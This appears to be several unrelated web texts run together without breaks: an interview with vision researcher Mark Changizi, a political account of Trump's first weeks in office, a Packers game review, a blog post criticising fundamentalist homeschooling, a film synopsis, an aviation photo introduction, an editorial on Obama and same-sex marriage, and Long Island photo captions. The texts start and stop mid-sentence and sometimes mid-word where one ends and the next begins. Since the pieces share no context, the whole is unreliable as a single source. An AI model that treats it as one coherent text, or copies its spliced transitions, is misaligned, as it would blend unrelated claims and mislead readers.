behavior. One may end up attacking vision problems even if one isn’t excited by vision, merely because it’s juicy. (I am excited by it, though, especially to the extent that I can find exciting hypotheses.) I was intrigued by the “mind reading” aspects of vision. In a nutshell, how does this work, and how do humans benefit from this ability? Our color vision fundamentally relies upon the cones in our retina, and I argue in my research that color vision evolved in us primates for the purpose of sensing the emotions and states of those around us. We primates have an unusual kind of color vision – our cones sample the visible spectrum in a peculiar fashion – and I have shown that one needs that kind of peculiar color sense in order to pick up the color modulations that occur on our skin when we blush, blanch, redden with anger, and so on. Our funny primate variety of color vision turns out to be optimized for seeing the physiological modulations in the blood in the skin that underlies our primate color signals. So, we evolved special mechanisms designed for sensing the emotions and states of others around us. That sounds a lot like the evolution of a “mind-reading” mechanism, which is why I (only half in jest) describe it that way. You mention in the book that reading and writing are relatively recent advances in human development, and yet we take for granted that we “see” and understand words, as if our brains were simply meant to see and understand them. What’s really going on that allows us to make sense of symbols on a page—and why can we do this at all? In talks I often show a drawing of a child reading a book titled “How to Somersault.” The “joke” is that most kids are able to read very early, often even before they can do stereotypical ape behaviors like somersaults and monkey bars. Sure, they comprehend speech much earlier, but they’re getting orders of magnitude more speech thrown at them than writing. Kids learn to read very early, and very well; and as adults we are ridiculously capable readers, and spend nearly all our day reading. Aliens might be excused for thinking we evolved to read. But the invention of writing is only thousands of years old. In addition, for most of us, our grandparents, great grandparents or great great grandparents didn’t read at all. Writing is much too recent for our brains to have evolved to have reading mechanisms. How does our brain do it? Is it because our visual system can become good at reading whatever we present to it? No. Kids would surely not be capable readers by around six if they were tasked to read bar codes or fractal patterns. The solution is that culture made writing easy on the eye, by shaping letters to be what the eye likes. The idea that culture shapes our artifacts to be good for us is not new. What’s new here is a specific hypothesis for what writing should look like in order to be good for us. To be easy on the eye, writing needs to “look like nature,” just what our illiterate visual systems are fantastically competent at processing. The trick of that research direction was making this “writing looks like nature” idea rigorous, and coming up with ways of testing it. I show that there are certain signature visual patterns found in nearly any natural environment with opaque objects strewn about, and that these signature patterns are found in human writing. In short, writing has evolved so that written words look like visual objects. You say that there are several visual “tricks” that makes us anticipate the next moment, while ensuring that the next moment never comes (one of these tricks you call “representational momentum”). Explain a little bit about how this works, and how does this misperception affect us in our day-to-day lives? When light hits our retina, what our brains would like to do is instantaneously generate a perception of what the world looks like. Alas, our brain can’t do this instantaneously. Our brains are slow. It takes around a tenth of a second for your perception to be built, and that’s a long time when you’re moving about. If you perceived the world the way it was when light hit your eye, you’d be having a tenth-of-a-second old view of the world. Because of this, visual systems have evolved mechanisms to try to generate a perception not of the way the world was when light hit the eye, but generate a perception of the way the world will be by the time the perception occurs in a tenth of a second. By the time the perception is elicited, the anticipated future will have arisen, and the perception will be of the present. That is, in order to perceive the present (have perceptions at time t that are of the world at time t), our visual systems must anticipate the near-future. These mechanisms are, I argue, up and running at all times, looking for all sorts of cues in the stimulus in an attempt to guess the way the world will change in the next moment. And this is where “tricks” come in. If we can cotton on to the cues your visual system is looking for in its attempt to guess the near future, then we can concoct artificial visual stimuli having these cues, but make sure they do not change as they “should” in the next moment. That way, when you look at them, your brain will generate a perception of what “should” happen next, but it will now be wrong due to the mad, evil psychologist. The classical geometrical illusions are one of many classes of illusion that can be explained in this way. An example can be seen below, a variant of the Orbison illusion, where all the squares are actually the same, but appear quite different depending on where they lie within the radial display. Here is a link where I have written up a very short explanation of illusions like this: If you were in charge of designing a new human vision system, what improvements would you make to the one we have now? What would you fix – and do you think there’s still evolutionary “room” left for human vision to evolve? If we were still living out in nature as we Homo sapiens were for nearly all of our evolutionary history, then I’d be skeptical about any attempt to improve us. The most brilliant engineering masterpieces in the universe are found in biology, and my guess would typically be that, unless one has a very strong argument otherwise, we’re not smart enough to make any improvement. But, of course, we’re no longer living in the kinds of environments where we evolved, and the biology may no longer be the “right” kind. In particular, I argue in the book that our forward-facing eyes are like a fish out of water. Forward-facing eyes are, I argue, the optimal eye design for large animals living in forested habitats; in those circumstances that eye design allows the animal to see the most. But we’re no longer living in cluttered habitats. Our world is now filled not with leaves, but with trash cans, pillars, and cars. In such circumstances sideways-facing eyes see the most, and animals in such environments accordingly have sideways-facing eyes. In a million years I bet we’ll be fish-faced. One of the perennial questions in philosophy is: do we see things as they really are, or perceive them as we think they are? Given your work on human vision, what’s your take on this? Let me give you three examples from the book that help us ponder these philosophical issues. First consider illusions like those I discussed above. One often feels as if what we see is due to some kind of direct “reading” of the real physical world. But our brain can’t just passively react to the incoming stream of visual information, lest it have an old perception of the world. Instead, it must actively generate a guess about the near future, which helps drive home that our perception is always an internal concoction by your brain. In fact, most of the input to your visual system is feedback from that very visual system. Second, consider forward-facing eyes and binocular vision. When we see with two eyes in the same direction, we have one unified visual perception. We have what feels like a single viewpoint, one that is emanating roughly from a point between our two eyes. Furthermore, our single viewpoint is always filled with two copies of the world that you hardly ever notice. When you fixate on something out in front of you, then objects nearer and farther split into two perceptual copies, each rendered as transparent in your perception. This allows you to see objects, and to see beyond them. For example, you can see your own nose from opposite sides at all times, but it is rendered as partially transparent and so does not block your view of the world beyond. The more one analyzes the phenomenology of binocular vision, the stranger it seems. But it doesn’t feel strange, because these are perceptual facets that our brain knows how to interpret. They are needed as part of your unified view of the world in order to incorporate the fact that it is really built out of two views of the world. Although, in a sense, you are perceiving fictions, they are fictions that allow you to more veridically see the world. And, lastly, consider color vision. This is a case that helps us better understand that it is not so much whether you see the world as it is, but how much of the world’s reality your are privy to seeing. Colors are primarily about the underlying emotions and states of those around us, as seen through the window of skin, and the physiological changes in the blood. The spectrum of skin is complicated, but it varies over two dimensions that matter most for sensing the states of others, the concentration and oxygenation of skin. The question is, what does the concentration and oxygenation of blood in the skin of others “truly” look like? Or, what do the emotions those blood variables signify “truly” look like? The interesting thing here is that these blood dimensions and these emotions are “really there”, but there is little sense to what their “real look” might be. Colors serve the role of what they look like, but does red really look like oxygenated blood or really look like anger? I’m not sure this is a sensible question. What matters is that that qualitative perceptual state is given a meaning or association to us, and so serves its purpose. What’s your next project? Any new books in the works that we should be looking out for soon? I just recently finished my new book, tentatively titled Harnessed: How Language and Music Mimicked Nature and Transformed Ape to Man. Remember the child reading the book titled “How to Somersault”? If that kid can read so early because writing has culturally evolved to shape writing to look like nature, couldn’t it be that speech has culturally evolved (perhaps over hundreds of thousands of years, rather than just several thousand years) to sound like nature? Could it be that speech has shaped itself to sound like the natural events that our auditory systems evolved via natural selection to be fantastic at processing? And, similarly, could it be that music has culturally evolved over time to sound like some other auditory aspect of nature that taps into ancient auditory mechanisms of ours, evocative ones? The short story of the book is, Yes. And, in particular, I argue that speech sounds like solid-object physical events, whereas music sounds like people moving about. Check out Mark Changizi’s website here, and his blog here. AdvertisementsDonald Trump will hit the four-week-mark Friday on a presidency that has begun like no other — full of big promises, constant controversy, the ever-present encroaching of major scandal, and zero regard for the previous norms of American politics. Beneath the noise, however, there has been a march, however halting and disorganized, toward Trump’s promised radical remaking of American policy, foreign and domestic. The border wall his critics said he’d never build has been ordered, his promised rollback of regulations is in full swing, his Supreme Court pick that will likely sit on the bench for decades, and even the “Muslim ban” he promised during the Republican primary was put in place, however briefly, in altered form. Story Continued Below The dual track is familiar to those who watched his campaign, during which a series of controversies and scandals garnered mass attention while few foresaw Trump’s success in building a winning coalition. But a presidency is a longer race than even the campaign, and it remains to be seen whether Trump can outrun his missteps the way he did last fall. So far, Trump has signed at least 23 executive actions, signed five bills into law, seen 12 members of his Cabinet confirmed, nominated one justice to the Supreme Court, sent 168 (undeleted) tweets, fired one acting attorney general and demanded one resignation: that of his own national security adviser. It has been 28 days. Here they are. Inauguration Day: Jan. 20 Where things went according to plan: The speech: In a short address, Trump stuck to the themes that won him the election, painting a scene of current “American carnage” — claims of economic decay and rising crime that are contradicted by a considerable volume of statistical evidence — as well as his own promise to usher in a new American glory. First executive actions: Trump signed an executive order that allowed for the delay or waiver of certain Affordable Care Act provisions, and another that froze pending regulations until they won approval from the White House or a newly appointed agency head — early moves toward core promises of his campaign. Cabinet confirmations kick off: Two of Trump’s best-received Cabinet picks, retired Marine Gens. James Mattis for Defense Secretary and John Kelly for Homeland Security, both won easy confirmation in the Senate. Vice President Mike Pence swore them in that evening. Where things went off the rails: The crowd size: The crowds for the inauguration and ensuing parade were bested by the audience that attended former President Barack Obama’s first inauguration, a disparity unveiled both by Metro rail ridership numbers and, more immediately, by aerial photographs. Demonstrators protest during the Women's March along Pennsylvania Avenue on Jan. 21 in Washington, D.C. \| Getty Day 2: Jan. 21 According to plan: First foreign leader visit is announced: Press secretary Sean Spicer announced the first visit from a foreign leader, with the Prime Minister Theresa May of the United Kingdom scheduled to visit Trump at the White House during his first week in office. Off the rails: The Women’s March: Hundreds of thousands of protesters descended on Washington and cities around the nation (as well as internationally) in massive numbers to demonstrate against the new president, opening questions about whether his election would galvanize progressives into a more politically effective resistance. The CIA speech: Trump visited the CIA headquarters to show his support for their work, but while standing before the Agency’s wall honoring the 117 CIA officers who died in service, he delivered a campaign-style address that stepped on his message. Sean Spicer: The new press secretary called a news conference, but instead of taking questions, he offered a searing critique of the news media’s accuracy while delivering no fewer than five demonstrably (at times even obviously) false statements in five minutes. The appearance won Spicer widespread mockery as his inaccuracy became the subject of a short-lived but widely shared meme. Day 3: Jan. 22 According to plan: Conversation with Netanyahu: Trump spoke by phone with Israeli Prime Minister Benjamin Netanyahu, extending the invitation for him to visit the United States in February and taking an early step toward a promise of warmer U.S.-Israeli relations. Trump’s second response to the Women’s March: After initially complaining about the protests (see below), Trump took a more measured tone in a follow-up tweet: “Peaceful protests are a hallmark of our democracy. Even if I don't always agree, I recognize the rights of people to express their views.” Off the Rails: “Alternative facts”: White House counselor Kellyanne Conway defended Spicer’s Saturday night falsehoods by telling NBC’s Chuck Todd that Spicer was simple presenting “alternative facts.” The phrase was widely mocked and cast further doubt on White House credibility just days into the administration. The beginning of the end of Flynn: Sunday night, The Wall Street Journal published an article with an eyebrow-raising lede: “U.S. counterintelligence agents have investigated communications that President Donald Trump’s national security adviser had with Russian officials, according to people familiar with the matter.” The problem would not go away quietly. Day 4: Jan. 23 According to plan: More executive actions: Trump signed three more executive actions aimed at fulfilling campaign promises on what the White House billed as the first work day of the administration. The orders officially withdrew the U.S. from negotiations over the Trans-Pacific Partnership, froze federal hiring (except for the military and in certain security situations) and barred federal funds from going to international groups that provide abortions. The move on trade was the final nail in the coffin for U.S. participation in TPP, which had been slowly careening toward doom during the presidential campaign in which Trump and Clinton both voiced opposition to it. The hiring and abortion orders represented two more boxes checked on the conservative wish list. Spicer, take 2: Spicer’s much-anticipated Monday briefing was mostly drama-free, and the press secretary pledged the administration’s “intention is never to lie to you.” Tillerson on the move: Rex Tillerson won a party line vote in the Senate Foreign Relations Committee to advance his nomination for secretary of state. His prospects were uncertain after a rocky confirmation hearing and doubts voiced by Sen. Marco Rubio (R-Fla.), who ended up supporting the former ExxonMobil CEO nonetheless. Off the Rails: Trump’s meeting with lawmakers: In a meeting with bipartisan congressional leadership at the White House, Trump repeated his false claim that widespread voter fraud cost him the popular vote in the general election. Conway on tax returns: Conway walked back a claim she made Sunday — in which she seemed to indicate Trump never had any intention of releasing his tax returns — and returned to the line repeated throughout the campaign, that his returns would be released after the completion of an audit. Day 5: Jan. 24 According to plan: More executive orders: Trump signed five more executive actions: Two encouraged the construction of pipelines, one sought to expedite the approval of infrastructure projects, one called for material used to build pipelines to be made in America “to the maximum extent possible,” and another called for swifter permitting for domestic manufacturers. Nikki Haley: Trump’s pick for ambassador to the United Nations, former South Carolina Gov. Nikki Haley, was confirmed by the Senate 96-4. Off the Rails: Spicer on voter fraud: Spicer defended Trump’s voter fraud claims by incorrectly citing a widely debunked study. He did not say whether he agreed with Trump’s claim, though he claimed that Trump had based his belief on “studies and evidence.” I will be asking for a major investigation into VOTER FRAUD, including those registered to vote in two states, those who are illegal and.... — Donald J. Trump (@realDonaldTrump) January 25, 2017 Day 6: Jan. 25 According to plan: Immigration orders, Part 1: Trump signed two orders on immigration. One included a call for the beginning of planning and construction of the border wall and the hiring of 5,000 more border patrol agents, another pushed for the hiring of 10,000 additional Immigration and Customs Enforcement officers and aimed to cut off federal funding to “sanctuary cities.” Paul Ryan’s Philly speech: In a speech at congressional Republicans’ retreat in Philadelphia, House Speaker Paul Ryan said the Republican-led Congress would replace Obamacare, cut taxes and fund Trump’s border wall by August. It’s usually the White House making grand predictions and Congress coming in with the cold water, but Ryan’s statements represented a show of unity. Off the Rails: Voter fraud tweet: While his administration worked to steer the conversation toward Trump’s policy, the president himself — possibly still upset over focus on his loss in the popular vote — couldn’t resist relitigating the election. “I will be asking for a major investigation into VOTER FRAUD, including those registered to vote in two states, those who are illegal and.... even, those registered to vote who are dead (and many for a long time). Depending on results, we will strengthen up voting procedures!” Day 7: Jan. 26 According to plan: Bannon bashes the press: From the campaign trail into the White House, Trump and his team have grown fond of attacking the news media — a move that seems always to rile up their base. Trump’s chief strategist Steve Bannon added his voice to the chorus, telling The New York Times that the media is “the opposition party” and that the press should “keep its mouth shut and just listen for awhile.” Trump would later repeat the “opposition party” phrase to describe the press. Off the Rails: Spicer, again: On a flight back from Philadelphia, where Trump addressed the Republican congressional retreat, Spicer suggested a 20 percent tax on imports from countries “like Mexico” could be used to pay for the border wall. But Spicer quickly walked back the proposal, saying it was not a policy proposal but rather “one idea” for how the wall could be paid for. The idea was out there long enough to get panned by some Republicans, including Sens. Ben Sasse and Lindsey Graham. Mexico responds: Mexican President Enrique Peña Nieto canceled a planned visit to the U.S. in response to Trump’s Jan. 25 executive actions. Vice President Mike Pence, his wife Karen Pence and their daughter Charlotte Pence arrive for a rally on the National Mall before the start of the 44th annual March for Life on Jan. 27 in Washington, D.C. \| Getty Day 8: Jan. 27 According to plan: March for Life: The March for Life came to Washington with anti-abortion activists feeling a sense of renewed vigor now that Trump has been elected. Pence, in particular, won plaudits by being the first sitting vice president to address the annual event — a hometown crowd for him if there ever was one. First presidential presser: Donald Trump welcomed British Prime Minister Theresa May, an event that went smoothly and showcased a tight partnership between the two nations. Trump answered his first questions from reporters as president. Off the Rails: Refugee executive order stumbles out of the gate: Trump signed a far-reaching executive order that temporarily halted the admission of new refugees into the United States, imposed an indefinite ban on the entry of refugees from Syria, and suspended the entry of citizens of seven Muslim-majority countries. The executive order, signed late on a Friday afternoon, prompted immediate confusion about its enforcement, including chaos at points of U.S. entry. And, within hours, it met resistance in court, including legal challenges that would eventually succeed in putting the order on ice. Holocaust Remembrance Day statement: The White House released a statement to honor International Holocaust Remembrance Day, but made no explicit mention Jewish people. Later in the weekend, two Republican groups joined in criticism of the statement. The White House later called criticism of its statement “pathetic.” Senate pushback: Senate Majority Leader Mitch McConnell felt compelled to warn Donald Trump not to lift sanctions on Russia, ahead of a scheduled Saturday morning call between Trump and Russian President Vladimir Putin. Protesters gather to denounce President Donald Trump's travel ban at Dallas-Fort Worth International Airport on Jan. 28 in Dallas, Texas. \| Getty Day 9, Jan. 28 According to plan: Executive orders: Trump signed three executive actions — a reorganization of the National Security Council; a five-year ban on lobbying for administration appointees and a lifetime ban on lobbying the government for other countries; and an order tasking the Department of Defense with coming up with a plan to defeat the Islamic State within 30 days. The NSC order proved the most significant, as it moved Trump’s chief strategist, Steve Bannon, onto the principals committee of the National Security Council. Putin on the line: Trump’s first phone call with Russian President Vladimir Putin was “positive,” the White House said, and involved discussions of how the nations could cooperate to combat terrorism. The White House made no announcement regarding election interference-related sanctions after the call, assuaging the fears of some who worried Trump would roll back the sanctions. Off the Rails: Travel ban fallout rulings: A
looks faster this season. He's carrying his pads lower and keeping tacklers away from his long legs. Jordy Nelson and Randall Cobb were limited to two snaps each in the exhibition season because of injuries. Nelson played all 62 snaps, allaying any physical concerns, and was the Packers' best player. Twice Aaron Rodgers got outside the pocket and threw darts behind Nelson, who made beautiful adjustments for gains of 31 and 37 yards. He made FS Eric Reid, a promising rookie tackler, miss in the flat and a 2-yard gain ruptured into 22. Then he ran a 6-yard stop route, made CB Carlos Rogers miss and picked up 15. Nelson showed outstanding hands and shiftiness in the open field. He also went inside on a slant for 9 knowing a heavy lick would be coming from Reid. It was important for Nelson's peace of mind to take a shot like that. Cobb lined up either in the slot or No. 3 to a side on 49 of his 50 wide-receiver snaps. Often covered by Rogers, Cobb played with a competitive fire, took three heavy shots and bounced right back up. At times Cobb reminds me of a young Greg Jennings because of how he bounces around and is so elusive. James Jones also played all 62 snaps but was shut out. Cobb made a mistake in the final minute by failing to get out of bounds on a 38-yard gain. It might have cost his team two deep shots into the end zone. The lone interception skipped off Finley's hands to Reid. Finley's blocking, for both run and pass, was subpar. The No. 2 tight end, Andrew Quarless, had a quiet eight snaps. OFFENSIVE LINE (3) LT David Bakhtiari's debut wasn't great but it was solid. The Packers kept sliding the line toward him and Josh Sitton, who was playing his first game at left guard. That made sense because DE Justin Smith and OLB Aldon Smith played most of the game on that side. Bakhtiari needs more strength, but at least he makes every effort to finish. He will get bounced or tossed but won't back down and battles to the whistle. That's his clear-cut advantage over Marshall Newhouse. Bakhtiari gave up 1½ sacks to Aldon Smith, including one on a cut block that needed to be executed better. He also allowed 3½ pressures, including a pair to strongman Justin Smith and 1½ more to Aldon Smith. He wasn't perfect on the back side by any means in the run game, but none of the four "bad" runs was his fault. On the other side, Don Barclay went one-on-one much of the time against OLB Ahmad Brooks, another athletic power player. Barclay was a little shaky in the fourth quarter, but his total of three pressures and no "bad" runs was impressive. Sitton had one of the poorest games of his career with three penalties, 1½ pressures and 1½ "bad" runs. He's got to know you can't put your hands in a D-lineman's face and expect to get away with it. He's learning how to play the left side. That was evident on a pull when he missed ILB Patrick Willis, who piled up the play. RG T.J. Lang has had better days, too, finishing with three pressures and one "bad" run. A full-fledged starter for the first time, Evan Dietrich-Smith was fine. QUARTERBACKS (4) Rodgers' football totals were 2 and 3 against the 49ers in 2012. Once again, there was no run game to speak of. Defensive coordinator Vic Fangio placed his safeties in a two-deep shell snap after snap and used his match coverage concept underneath. On Rodgers' 40 passes, Fangio rushed four 32 times. The 49ers are about as static a defense as the Packers will see all year. Operating straight-up against a unit with that much talent didn't work early, so Mike McCarthy ordered up the controlled no-huddle. Maybe the Packers huddled on 25% of the downs. Despite not having his time clock fixed with this revamped offensive line, Rodgers excelled getting the ball out of his hand. When pressure came off the edge, he ran away from it and threw the ball away twice. Not only hadn't Rodgers played much with Nelson and Cobb in August, he played just 45 snaps himself. There were missed assignments around him, and Eddie Lacy kind of backed into a promising check-down to the right that led to an overthrow on third and 7. Playing about 75% from shotgun, Rodgers found open receivers and 385 yards of total offense. His naked bootleg for 6 yards on third and 1 wasn't called by McCarthy. With Reid sprinting toward the end zone on a long interception return (it was called back), Rodgers gave chase and knocked him down. RUNNING BACKS (1) Lacy admitted he was nervous, and it showed. This is a complex system compared to Alabama's, and in his first game and on the road he struggled with the detailed part of the job. Some of his early runs were horribly blocked. But even when there was some running room, he wasn't crashing into the holes fast and maximizing what was there. His methodical style of play might well be the result of thinking too much. Unless Johnathan Franklin does more with a regular-season chance than he did in August, Lacy won't benefit from having a change-of-pace back. McCarthy benched him after a second-quarter fumble, giving James Starks seven snaps. The second half was all Lacy, who finished with 41 compared to 15 for John Kuhn. McCarthy didn't use a traditional fullback in front of Lacy until the third quarter. Lacy did make two tacklers miss on a screen pass for 31. DEFENSIVE LINE (4) The unit's football totals were 1 and 1 in the 49ers games a year ago. This was about respect and self-esteem. The 49ers started the same vaunted offensive line as last year, and the Packers were right back at them with the same players up front. It was strangely conventional football, with the Packers in their 3-4 on 51 of 77 snaps (66.2%). The snap counts were Ryan Pickett (51), B.J. Raji (51), surprise starter Johnny Jolly (35), Mike Daniels (19), C.J. Wilson (18), Datone Jones (18) and Mike Neal (13). It was brawn against brawn, possibly the NFL's heaviest D-line standing up against possibly the NFL's best O-line. It surely was no place for the feint of heart. Raji flowed fast and was fairly consistent at the point. Pickett, 33, still can stack and shed. Jolly plays higher than Pickett but he's hard to move and his hustle downfield was remarkable. Indomitable Frank Gore, who is one tough hombre, hammered away 21 times and settled for 44 yards. He'd disappear under all that humanity, and only in the second half did he begin to surface for respectable gains. Saving Raji strictly for the rigors of base, the Packers started Jones and Neal in sub. Everyone had been drilled to power rush and then stop if necessary if it meant preventing Colin Kaepernick from bursting past. Discounting Jolly's garbage sack, the only pressure was by Raji. Chalk that up to the game plan and the exceptional opponent. LINEBACKERS (3) Clay Matthews (70 snaps), Nick Perry (53) and Neal (33) angled inside from outside, often defeated blocks or at least gained stalemates, and forced Gore and Kendall Hunter into the behemoths over center. Matthews always plays with a flame, but he revved extra hot here. Matthews was a ringleader in blunting the read-option. He sliced through traffic to nail Hunter and Kaepernick for a pair of minus-7 runs. The last time a Packer had made a tackle for loss of 7 or more yards was October 2010 (DE Howard Green, minus-8, against the Jets). The 49ers double-teamed Matthews on just 14.8% of his rushes. Down after down, Pro Bowl LT Joe Staley blocked Matthews as well as it can be done. However, Matthews was more interested in containment; he did beat Staley for two pressures and all-pro LG Mike Iupati for a sack. Perry's big body came in handy against a physical team. Neal also had three pressures. On the inside, Brad Jones (75) and A.J. Hawk (59) were much better near the line than in space. SECONDARY (1/2) The Packers blitzed 32.5% on passes. Their plan was to play a heavy box against the run, maintain discipline against the read option and cover as best they could. Minus two of their top five DBs (Morgan Burnett, Casey Hayward), the coverage was a disaster. Jerron McMillian missed four tackles, showed surprising lack of burst in coverage and was weak at the ball. M.D. Jennings was remarkably indecisive, as when he failed to fill the alley on Hunter's 23-yard run and didn't obliterate Vernon Davis after his 37-yard catch beyond Micah Hyde. Hard-hitting Chris Banjo was on the field for four snaps; look for a lot more of him this week. Unable to play press coverage except in goal-line, Sam Shields drifted about and had a brutal game. Hyde lost his way against bunch formations, showing why he fell to the fifth round. With the outcome at hand, Tramon Williams and Jennings couldn't prevent Boldin from a 15-yard completion on fourth and 2. Jarrett Bush had to play 20 snaps as the dime back. I can't imagine another 200-pound cornerback intruding on Iupati's space and getting absolutely destroyed. Man, that must have hurt. KICKERS (4) Tim Masthay debuted on kickoffs. Beating out one of the best in Mason Crosby, he mishit one, hit two well and crushed his last two. His five-boot averages were 73.8 yards and 3.57 seconds of hang time. He made a strong tackle of Cox to end abruptly his 30-yard return, and then was run over by Anthony Dixon on his 30-yard runback. On the same field as all-pro punter Andy Lee, Masthay outperformed him. His six-punt averages were 46.2 (gross), 44.8 (net) and 4.31 (hang time). SPECIAL TEAMS (2) LS Brett Goode had one of his best games ever. At 28, he appears to have improved his velocity a bit, and his accuracy and lace placement remain extraordinary. Jeremy Ross made one bad decision, fielding a kickoff in the left corner, hesitating and then trying to carry out a return to the right. His decision to bring back a kickoff with 6 minutes left was sound; the blocking that allowed C.J. Spillman to tackle him at the 9 was the culprit. Daniels and McMillian drew major penalties. Davon House was impressive covering punts. OVERALL (3)Katherine Stewart takes a look at homeschooling. (I met Katherine at the American Atheists conference; she was one of the speakers.) When he was growing up in California, Ryan Lee Stollar was a stellar home schooling student. His oratory skills at got him invited to home schooling conferences around the country, where he debated public policy and spread the word about the “virtues” of an authentically Christian home school education. Now 28, looking back on his childhood, it all seems like a delusion. As Stollar explains: “The Christian home school subculture isn’t a children-first movement. It is, for all intents and purposes, an ideology-first movement. There is a massive, well-oiled machine of ideology that is churning out soldiers for the culture war. Home schooling is both the breeding ground – literally, when you consider the Quiverfull concept – and the training ground for this machinery. I say this as someone who was raised in that world.” Soldiers for the culture war – just what we need. A Christian Taliban in the making. Many parents start off home schooling with the intention of inculcating their children in a mainstream form of Christianity. However, as many HA bloggers report, it is easy to get sucked into the vortex of fundamentalist home schooling because extremists have cornered the market – running the conventions, publishing the curricula, setting up the blogs. As HA blogger Julie Ann Smith, a Washington state mother of seven, says: “If you are the average Christian home schooler with no agenda, and you have the choice between attending a secular home schooling convention and a Christian one, chances are you’ll choose the Christian convention. But they only allow certain speakers who follow their agenda. So you have no clue. What you don’t realize is that they are being run by Christian Reconstructionists.” Smith is referring to the Calvinist movement, founded by Rousas John Rushdoony, that advocates a Christian takeover of the political system in order to “purify” the nation and cleanse it of the sin of secularism. We know from Vyckie and Libby Anne and others what that means. Much of fundamentalist home schooling is driven by deeply sexist and patriarchal ideology. The Quiverfull movement teaches that women need to submit to their husbands and have as many babies as they possibly can. The effects of these ideas on children are devastating, as a glance at HA’s blogs show. “The story of being home schooled was a story of being told to sit down and shut up. ‘An ideal woman is quiet and submissive,’ I was told time and time again,” writes Phoebe. “The silence and submission I was pushed into was ultimately a place of loneliness, bitterness and almost crippling insecurity.” The fundamentalist home schooling world also advocates an extraordinarily authoritarian view of the parental role. Corporal punishment is frequently encouraged. The effects are, again, often quite devastating. Like children beaten to death by parents who paid too much attention to Michael Pearl.In the green woods of Silver Falls, Oregon, Aaron Hallam, a trained assassin AWOL from the Special Forces, keeps his own brand of wildlife vigil. After Hallam brutally slew four deer hunters in the area, FBI Special Agent Abby Durrell turns to L.T. Bonham-- the one man who may be able to stop him. At first L.T. resists the mission. Snug in retirement, he's closed off to his past, the years he spent in the Special Forces training soldiers to become skilled killers. But when he realizes that these recent slaying is the work of a man he trained, he feels obligated to stop him. Accepting the assignment under the condition that he works alone, L.T. enters the woods, unarmed--plagued by memories of his best student and riddled with guilt for not responding to Aaron's tortured letters to him as he began to slip over the edge of sanity. Furious as he is with his former mentor for ignoring his pleas for help, Aaron knows that he and L.T. share a tragic bond that is unbreakable. And, even as... Written by Sujit R. Varma(Editor’s note: Welcome to Time Travel Tuesday, a nine-part series celebrating the airports, airlines, and aircraft of yesteryear, through the vintage aviation photos of William J. Armstrong. In Part One and Part Two, we explored the airports of the Midwest, while Part Three explored the airports of the Western United States. Then we went international, with Canada in Part Four, and Europe in Part Five. In Part Six last week, we begain our journey home to NYC with the airports of the Mid-Atlantic. Our journey home continues this week with the airports of the Northeast.) It is indeed an honor to introduce this series of aviation photos taken by my good friend William J. Armstrong. Our friendship spanned almost a half century, and blossomed because of our common interest in aviation. As time went on, we found common interests in many things, and at one time our professional careers crossed paths and I had the privilege of working with Bill. We see Bill here because of his aviation photography, and he was among the few who would spend time at an airport for the sole purpose of taking photos of airplanes and observing operations. Bill began doing this during the late 1950s, and continued into the start of the Jet age. His photos are a look back in time, to when propellers were the order of the day, and when you walked across an often oil stained tarmac to your waiting plane. In those days, weather radar and instrument landing systems were the latest revolutionary developments in air travel. Bill was interested in aviation, but in actuality if it moved he was interested. His knowledge of transportation systems, whether they traveled by rail, air, sea, or road, were legendary to his friends and fellow professionals. He also had keen interests in history, classical music, opera, swimming, travel, and the list goes on. He was a graduate of Columbia University, and Iona College with a masters degree. But for all his varied interests, Bill was always a humble person, never once forgetting the friends he met along the way. Click to enlarge photos Albany International Airport (ALB) Greater Buffalo International Airport (BUF) Bradley International Airport (BDL), Windsor Locks, CT Boston Logan International Airport (BOS) This collection was curated by NYCAviation Associate Editor Ben Granucci. All images are copyright John F. Ciesla, all rights reserved.On Thursday night, when same-sex marriage in New York State was teetering on a razor’s edge, President Obama had a perfect opportunity to show the results of his supposed evolution on gay marriage. Unfortunately, he did not take it, keeping his own views in the shadows. The next night the Republican-led New York State Senate, of all places, proved itself more forward-thinking than the president on one of the last great civil-rights debates in this nation’s history. Speaking to the Democratic Party’s LGBT Leadership Council at a fund-raiser in New York, Mr. Obama ran through the many efforts he has made on behalf of gay rights, including his decision to end the government’s legal support of the Defense of Marriage Act, which forbids federal recognition of same-sex marriage. The act should be repealed, he said, since marriage is defined by the states. Mr. Obama’s legal formula suggests he is fine with the six states that now permit same-sex marriage, and fine with the more than three dozen other states that ban it. By refusing to say whether he supports it (as he did in 1996) or opposes it (as he did in 2008), he remained in a straddle that will soon strain public patience. For now, all Mr. Obama promised was a gauzy new “chapter” in the story if he is re-elected, and his views remain officially “evolving.” Advertisement Continue reading the main story Fundamental equality, however, is hardly the equivalent of a liquor law that can vary on opposite sides of a state line. Why is Mr. Obama so reluctant to say the words that could lend strength to a national effort now backed by a majority of Americans? Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. In the 2008 campaign, when Mr. Obama said he supported civil unions and believed marriage should be between men and women, he may have wanted to appeal to slightly more conservative voters who were wary of him.This collection of pictures shows what life was like on Long Island in the late 19th and early 20th century. These pictures range from 1884 to 1924. If this post is popular we’ll add more pictures of Long Island, so please share if you enjoy it! 1. The Last of the Shinnecock Indians This picture shows the Shinnecock Indian Tribue of Long Island as they looked in 1884. The Shinnecock Indians were one of the larger tribes living on Long Island prior to the arrival of Europeans. Throughout the 19th century, Shinnecock men worked as fishermen and sailors on whaling ships based at Sag Harbor and other local ports. It was said that no ship left Eastern Long Island without at least one Shinnecock male onboard, as they were known for their seafaring and navigational abilities. Every Labor Day Weekend since 1946, the reservation has hosted a powwow based on ceremonies beginning in 1912. The Shinnecock Powwow is ranked by USA Today as one of the ten great powwows held in the United States. The Shinnecock Indians now have a cultural center and museum in Southampton, NY. 2. Long Beach Hotel in Long Beach, N.Y. This picture shows the Long Beach Hotel in Long Beach, NY. According to the book Long Beach Chronicles: From Pioneers to the 1933 Earthquake, The hotel was built on the south side of Ocean Avenue on the bluff at the foot of Cedar Avenue. It rose three stories above the street and five stories above the sand, with the two lower beachfront floors serving as a bathhouse. On the ocean side was a twenty by eighty foot veranda. The dining room faced the sea, and its southern wall was all glass.” The hotel was burnt to the ground by a fire in 1888. 3. On the Beach in Rockaway, L.I. Children on the beach in Rockaway Long Island in 1903. Rockaway Beach is still a popular attraction for tourists and locals alike, but the bathing suits look substantially different. 4. Boating in Oyster Bay, Long Island A man helping a woman into a boat in Oyster Bay, Long Island. This picture 